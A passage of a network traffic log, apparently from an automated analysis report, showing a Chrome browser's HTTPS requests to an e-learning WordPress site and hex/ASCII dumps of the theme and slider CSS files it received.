.category-name,.edumall-course-category-cards.style-01 .category-icon svg [fill],
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 72 2c 2e 65 64 75 6d 61 6c 6c 2d 77 70 2d 77 69 64 67 65 74 2d 63 6f 75 72 73 65 2d 66 69 6c 74 65 72 20 75 6c 2e 66 69 6c 74 65 72 2d 63 68 65 63 6b 62 6f 78 2d 6c 69 73 74 20 61 3a 62 65 66 6f 72 65 2c 2e 65 64 75 6d 61 6c 6c 2d 77 70 2d 77 69 64 67 65 74 2d 63 6f 75 72 73 65 2d 66 69 6c 74 65 72 20 75 6c 2e 66 69 6c 74 65 72 2d 72 61 64 69 6f 2d 6c 69 73 74 20 61 3a 61 66 74 65 72 2c 2e 65 64 75 6d 61 6c 6c 2d 77 70 2d 77 69 64 67 65 74 2d 63 6f 75 72 73 65 2d 66 69 6c 74 65 72 20 75 6c 2e 66 69 6c 74 65 72 2d 72 61 64 69 6f 2d 6c 69 73 74 20 61 3a 62 65 66 6f 72 65 2c 2e 6c 6f 6f 70 2d 69 6e 73 74 72 75 63 74 6f 72 2d 6e 61 6d 65 2c 2e 6c 6f 6f 70 2d 69 6e 73 74 72 75 63 74 6f 72 2d 77 72 61 70 70 65 72 2c 2e 70 6f 70 75 6c 61 72 2d 69 6e 73 74 72 75 Data Ascii: r,.edumall-wp-widget-course-filter ul.filter-checkbox-list a:before,.edumall-wp-widget-course-filter ul.filter-radio-list a:after,.edumall-wp-widget-course-filter ul.filter-radio-list a:before,.loop-instructor-name,.loop-instructor-wrapper,.popular-instru
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 79 2d 63 61 72 64 73 2e 73 74 79 6c 65 2d 30 31 20 2e 63 61 74 65 67 6f 72 79 2d 6e 61 6d 65 3a 61 66 74 65 72 2c 2e 65 64 75 6d 61 6c 6c 2d 63 6f 75 72 73 65 2d 63 61 74 65 67 6f 72 79 2d 63 61 72 64 73 2e 73 74 79 6c 65 2d 30 32 20 2e 63 61 74 65 67 6f 72 79 2d 6e 61 6d 65 3a 61 66 74 65 72 2c 2e 65 64 75 6d 61 6c 6c 2d 77 70 2d 77 69 64 67 65 74 2d 63 6f 75 72 73 65 2d 66 69 6c 74 65 72 20 75 6c 2e 66 69 6c 74 65 72 2d 63 68 65 63 6b 62 6f 78 2d 6c 69 73 74 20 61 3a 61 66 74 65 72 2c 2e 6c 6f 61 64 69 6e 67 2d 6c 65 73 73 6f 6e 20 2e 74 75 74 6f 72 2d 6c 65 73 73 6f 6e 2d 63 6f 6e 74 65 6e 74 2d 61 72 65 61 3a 61 66 74 65 72 2c 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 62 75 69 6c 64 65 72 2d 75 70 6c 6f 61 64 2d 74 69 70 73 20 75 6c 20 6c 69 3a 61 66 Data Ascii: y-cards.style-01 .category-name:after,.edumall-course-category-cards.style-02 .category-name:after,.edumall-wp-widget-course-filter ul.filter-checkbox-list a:after,.loading-lesson .tutor-lesson-content-area:after,.tutor-course-builder-upload-tips ul li:af
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 65 73 73 61 67 65 3a 62 65 66 6f 72 65 7b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 3a 6e 6f 72 6d 61 6c 3b 74 65 78 74 2d 72 65 6e 64 65 72 69 6e 67 3a 61 75 74 6f 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 46 6f 6e 74 20 41 77 65 73 6f 6d 65 5c 20 35 20 50 72 6f 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 74 75 74 6f 72 2d 64 61 73 68 62 6f 61 72 64 2d 70 65 72 6d Data Ascii: essage:before{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1;font-family:Font Awesome\ 5 Pro!important;font-weight:400}.tutor-dashboard-perm
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 72 2d 62 75 74 74 6f 6e 7b 70 61 64 64 69 6e 67 3a 30 20 33 31 70 78 7d 2e 73 69 6e 67 6c 65 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 62 75 74 74 6f 6e 20 69 2c 2e 74 75 74 6f 72 2d 62 74 6e 20 69 2c 2e 74 75 74 6f 72 2d 62 75 74 74 6f 6e 20 69 2c 61 2e 74 75 74 6f 72 2d 62 74 6e 20 69 2c 61 2e 74 75 74 6f 72 2d 62 75 74 74 6f 6e 20 69 7b 6d 61 72 67 69 6e 3a 30 20 31 30 70 78 20 30 20 30 7d 2e 74 75 74 6f 72 2d 62 74 6e 2e 62 6f 72 64 65 72 65 64 2d 62 74 6e 2c 2e 74 75 74 6f 72 2d 62 75 74 74 6f 6e 2e 62 6f 72 64 65 72 65 64 2d 62 75 74 74 6f 6e 2c 61 2e 74 75 74 6f 72 2d 62 74 6e 2e 62 6f 72 64 65 72 65 64 2d 62 74 6e 2c 61 2e 74 75 74 6f 72 2d 62 75 74 74 6f 6e 2e 62 6f 72 64 65 72 65 64 2d 62 75 74 74 6f 6e 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 65 64 Data Ascii: r-button{padding:0 31px}.single_add_to_cart_button i,.tutor-btn i,.tutor-button i,a.tutor-btn i,a.tutor-button i{margin:0 10px 0 0}.tutor-btn.bordered-btn,.tutor-button.bordered-button,a.tutor-btn.bordered-btn,a.tutor-button.bordered-button{color:var(--ed
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 74 3a 30 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 31 35 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 2e 35 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 34 38 70 78 7d 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 62 61 64 67 65 2e 68 6f 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 33 31 38 31 39 7d 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 62 61 64 67 65 2e 6f 6e 73 61 6c 65 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 37 31 64 63 7d 2e 74 75 74 6f 72 2d Data Ascii: t:0;color:#fff;text-align:center;font-size:11px;font-weight:700;line-height:1.15;text-transform:uppercase;letter-spacing:.5px;border-radius:2px;min-width:48px}.tutor-course-badge.hot{background:#d31819}.tutor-course-badge.onsale{background:#0071dc}.tutor-
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 73 6f 6c 69 64 20 76 61 72 28 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 66 6f 72 6d 2d 62 6f 72 64 65 72 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 66 6f 72 6d 2d 62 61 63 6b 67 72 6f 75 6e 64 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 70 61 64 64 69 6e 67 3a 33 70 78 20 32 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 35 32 70 78 3b 74 65 78 74 2d 69 6e 64 65 6e 74 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 7d 2e 74 75 74 6f 72 2d 66 6f 72 6d 2d 67 72 6f 75 70 20 69 6e 70 75 74 3a 6e 6f 74 28 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 29 3a 66 6f 63 75 73 2c 2e 74 75 74 6f 72 2d 66 6f 72 Data Ascii: solid var(--edumall-color-form-border);background-color:var(--edumall-color-form-background);border-radius:5px;padding:3px 20px;min-height:52px;text-indent:0;line-height:normal;margin-bottom:20px}.tutor-form-group input:not([type=submit]):focus,.tutor-for
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 6e 74 72 6f 6c 73 20 2e 70 6c 79 72 5f 5f 63 6f 6e 74 72 6f 6c 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 30 3b 68 65 69 67 68 74 3a 33 32 70 78 7d 2e 70 6c 79 72 5f 5f 63 6f 6e 74 72 6f 6c 2d 2d 6f 76 65 72 6c 61 69 64 7b 68 65 69 67 68 74 3a 35 30 70 78 7d 2e 63 6f 75 72 73 65 2d 74 68 75 6d 62 6e 61 69 6c 20 69 6d 67 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 70 72 69 63 65 7b 6d 61 72 67 69 6e 3a 38 70 78 20 30 20 30 7d 2e 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 70 72 69 63 65 20 2e 70 72 69 63 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 36 70 78 7d 2e 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 70 72 69 63 65 20 2e 70 72 69 63 65 20 64 65 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 Data Ascii: ntrols .plyr__control{min-height:0;height:32px}.plyr__control--overlaid{height:50px}.course-thumbnail img{width:100%}.course-loop-price{margin:8px 0 0}.course-loop-price .price{font-size:18px;line-height:26px}.course-loop-price .price del{font-size:15px;f
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 6f 6f 70 2d 65 78 63 65 72 70 74 2d 63 6f 6c 6c 61 70 73 65 2d 32 2d 72 6f 77 73 20 2a 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 65 78 63 65 72 70 74 7b 6d 61 72 67 69 6e 3a 34 70 78 20 30 20 30 7d 2e 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 62 61 64 67 65 73 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 31 30 70 78 3b 6c 65 66 74 3a 31 30 70 78 7d 2e 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 72 61 74 69 6e 67 7b 6d 61 72 67 69 6e 3a 34 70 78 20 30 20 30 7d 2e 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 72 61 74 69 6e 67 20 2e 72 61 74 69 6e 67 2d 63 6f 75 6e 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 39 62 39 62 39 62 3b 6d 61 72 67 69 6e 3a 30 20 Data Ascii: oop-excerpt-collapse-2-rows *{display:inline!important}.course-loop-excerpt{margin:4px 0 0}.course-loop-badges{position:absolute;top:10px;left:10px}.course-loop-rating{margin:4px 0 0}.course-loop-rating .rating-count{font-size:13px;color:#9b9b9b;margin:0
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 3b 77 69 64 74 68 3a 34 70 78 3b 68 65 69 67 68 74 3a 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 63 63 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 7d 2e 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 6d 65 74 61 2e 73 74 79 6c 65 2d 30 32 20 2e 6d 65 74 61 2d 76 61 6c 75 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 7d 2e 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 72 61 74 69 6e 67 2d 61 76 65 72 61 67 65 7b 6d 61 72 67 69 6e 3a 36 70 78 20 30 20 30 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 3b 2d 6d 73 2d 66 Data Ascii: ;width:4px;height:4px;background:#ccc;border-radius:50%}.course-loop-meta.style-02 .meta-value{font-size:13px}.course-loop-rating-average{margin:6px 0 0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.17	49733	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:37 UTC	572	OUT	GET /wp-content/themes/edumall-child/style.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:38 UTC	921	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:38 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e58680d4308-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32de-145" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:06 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PQgkgZzE5BGRoKQoHazDqnipYeRnZStRIeySUFI6g7g4j5a6aMNT3g%2F3f8BmuRir2uSmy6sRDwjIZA8VowirZ15o10fQLvdycKLHhEtj9h8upeptJAVMoRIlbYG10ACq5cM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:38 UTC	332	IN	Data Raw: 31 34 35 0d 0a 2f 2a 0a 54 68 65 6d 65 20 4e 61 6d 65 3a 20 45 64 75 6d 61 6c 6c 20 43 68 69 6c 64 0a 54 68 65 6d 65 20 55 52 49 3a 20 68 74 74 70 73 3a 2f 2f 65 64 75 6d 61 6c 6c 2e 74 68 65 6d 65 6d 6f 76 65 2e 63 6f 6d 2f 0a 41 75 74 68 6f 72 3a 20 54 68 65 6d 65 4d 6f 76 65 0a 41 75 74 68 6f 72 20 55 52 49 3a 20 68 74 74 70 73 3a 2f 2f 74 68 65 6d 65 6d 6f 76 65 2e 63 6f 6d 2f 0a 56 65 72 73 69 6f 6e 3a 20 31 2e 30 2e 30 0a 54 65 6d 70 6c 61 74 65 3a 20 65 64 75 6d 61 6c 6c 0a 54 65 78 74 20 44 6f 6d 61 69 6e 3a 20 20 65 64 75 6d 61 6c 6c 2d 63 68 69 6c 64 0a 54 61 67 73 3a 20 65 64 69 74 6f 72 2d 73 74 79 6c 65 2c 20 66 65 61 74 75 72 65 64 2d 69 6d 61 67 65 73 2c 20 6d 69 63 72 6f 66 6f 72 6d 61 74 73 2c 20 70 6f 73 74 2d 66 6f 72 6d 61 74 73 2c 20 Data Ascii: 145/*Theme Name: Edumall ChildTheme URI: https://edumall.thememove.com/Author: ThemeMoveAuthor URI: https://thememove.com/Version: 1.0.0Template: edumallText Domain: edumall-childTags: editor-style, featured-images, microformats, post-formats,
2024-04-11 21:26:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.17	49734	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:38 UTC	601	OUT	GET /wp-content/plugins/tutor-lms-elementor-addons/assets/css/slick.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:38 UTC	923	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:38 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e58cc151977-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"64b0fadb-743" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 14 Jul 2023 07:35:55 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Wp3bMf5yTumYW8aufd4KGoT795ma22coVYSFsP6pO3V%2FSBajdaFDnPerhHZtDyT4Tup2eVTef5ID3MQOASh%2B26JDJ2IQPoTC5jJSV45EJW5S0WO3hqwnZ1zYycBsPxYiSA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:38 UTC	446	IN	Data Raw: 37 34 33 0d 0a 2f 2a 2a 0a 20 2a 20 4d 69 6e 69 66 69 65 64 20 62 79 20 6a 73 44 65 6c 69 76 72 20 75 73 69 6e 67 20 63 6c 65 61 6e 2d 63 73 73 20 76 34 2e 32 2e 30 2e 0a 20 2a 2f 0a 0a 2e 73 6c 69 63 6b 2d 73 6c 69 64 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f Data Ascii: 743/** * Minified by jsDelivr using clean-css v4.2.0. */.slick-slider { position: relative; display: block; box-sizing: border-box; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: no
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 0a 7d 0a 0a 2e 73 6c 69 63 6b 2d 6c 69 73 74 3a 66 6f 63 75 73 20 7b 0a 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 30 0a 7d 0a 0a 2e 73 6c 69 63 6b 2d 6c 69 73 74 2e 64 72 61 67 67 69 6e 67 20 7b 0a 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 20 20 63 75 72 73 6f 72 3a 20 68 61 6e 64 0a 7d 0a 0a 2e 73 6c 69 63 6b 2d 73 6c 69 64 65 72 20 2e 73 6c 69 63 6b 2d 6c 69 73 74 2c 0a 2e 73 6c 69 63 6b 2d 73 6c 69 64 65 72 20 2e 73 6c 69 63 6b 2d 74 72 61 63 6b 20 7b 0a 20 20 20 20 2d 77 Data Ascii: tion: relative; display: block; overflow: hidden; margin: 0; padding: 0}.slick-list:focus { outline: 0}.slick-list.dragging { cursor: pointer; cursor: hand}.slick-slider .slick-list,.slick-slider .slick-track { -w
2024-04-11 21:26:38 UTC	51	IN	Data Raw: 37 38 65 65 31 66 39 62 30 35 36 35 39 38 65 36 64 32 35 61 63 34 66 64 63 61 62 31 65 65 62 63 64 38 62 65 35 32 31 63 64 39 2e 6d 61 70 20 2a 2f 0d 0a Data Ascii: 78ee1f9b056598e6d25ac4fdcab1eebcd8be521cd9.map */
2024-04-11 21:26:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.17	49735	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:38 UTC	603	OUT	GET /wp-content/plugins/tutor-lms-elementor-addons/assets/css/slick-theme.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:38 UTC	923	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:38 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e597a810c9e-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"64b0fadb-a7b" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 14 Jul 2023 07:35:55 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5djRe2DkVblr1hpxihbXVtcTJKQ%2FOJCPIsgQxCuOvrsFP6ivIdDDlrKQ5kbZ09v3rR5Y42AcH5wvWRgXmMbJvq1h%2B7rM6vMGULAHWLPLoCt3zULZ2k7K4dfj5l95LlgRJek%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:38 UTC	446	IN	Data Raw: 61 37 62 0d 0a 40 63 68 61 72 73 65 74 20 27 55 54 46 2d 38 27 3b 0a 0a 2f 2a 20 41 72 72 6f 77 73 20 2a 2f 0a 0a 2e 73 6c 69 63 6b 2d 70 72 65 76 2c 0a 2e 73 6c 69 63 6b 2d 6e 65 78 74 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 3b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 32 30 70 78 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 32 30 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 30 2c 20 2d 35 30 25 29 3b 0a Data Ascii: a7b@charset 'UTF-8';/* Arrows */.slick-prev,.slick-next { font-size: 0; line-height: 0; position: absolute; top: 50%; display: block; width: 20px; height: 20px; padding: 0; -webkit-transform: translate(0, -50%);
2024-04-11 21:26:38 UTC	1369	IN	Data Raw: 69 63 6b 2d 70 72 65 76 3a 68 6f 76 65 72 2c 0a 2e 73 6c 69 63 6b 2d 70 72 65 76 3a 66 6f 63 75 73 2c 0a 2e 73 6c 69 63 6b 2d 6e 65 78 74 3a 68 6f 76 65 72 2c 0a 2e 73 6c 69 63 6b 2d 6e 65 78 74 3a 66 6f 63 75 73 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 7d 0a 0a 2e 73 6c 69 63 6b 2d 70 72 65 76 3a 68 6f 76 65 72 3a 62 65 66 6f 72 65 2c 0a 2e 73 6c 69 63 6b 2d 70 72 65 76 3a 66 6f 63 75 73 3a 62 65 66 6f 72 65 2c 0a 2e 73 6c 69 63 6b 2d 6e 65 78 74 3a 68 6f 76 65 72 3a 62 65 66 6f 72 65 2c 0a 2e 73 6c 69 63 6b 2d 6e 65 78 74 3a 66 6f 63 75 73 3a 62 65 66 6f 72 65 20 7b 0a 20 Data Ascii: ick-prev:hover,.slick-prev:focus,.slick-next:hover,.slick-next:focus { color: transparent; outline: none; background: transparent;}.slick-prev:hover:before,.slick-prev:focus:before,.slick-next:hover:before,.slick-next:focus:before {
2024-04-11 21:26:38 UTC	875	IN	Data Raw: 0a 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 7d 0a 0a 2e 73 6c 69 63 6b 2d 64 6f 74 73 20 6c 69 20 62 75 74 74 6f 6e 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 3b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 32 30 70 78 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 32 30 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 70 78 3b 0a 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 Data Ascii: cursor: pointer;}.slick-dots li button { font-size: 0; line-height: 0; display: block; width: 20px; height: 20px; padding: 5px; cursor: pointer; color: transparent; border: 0; outline: none; background:
2024-04-11 21:26:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.17	49736	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
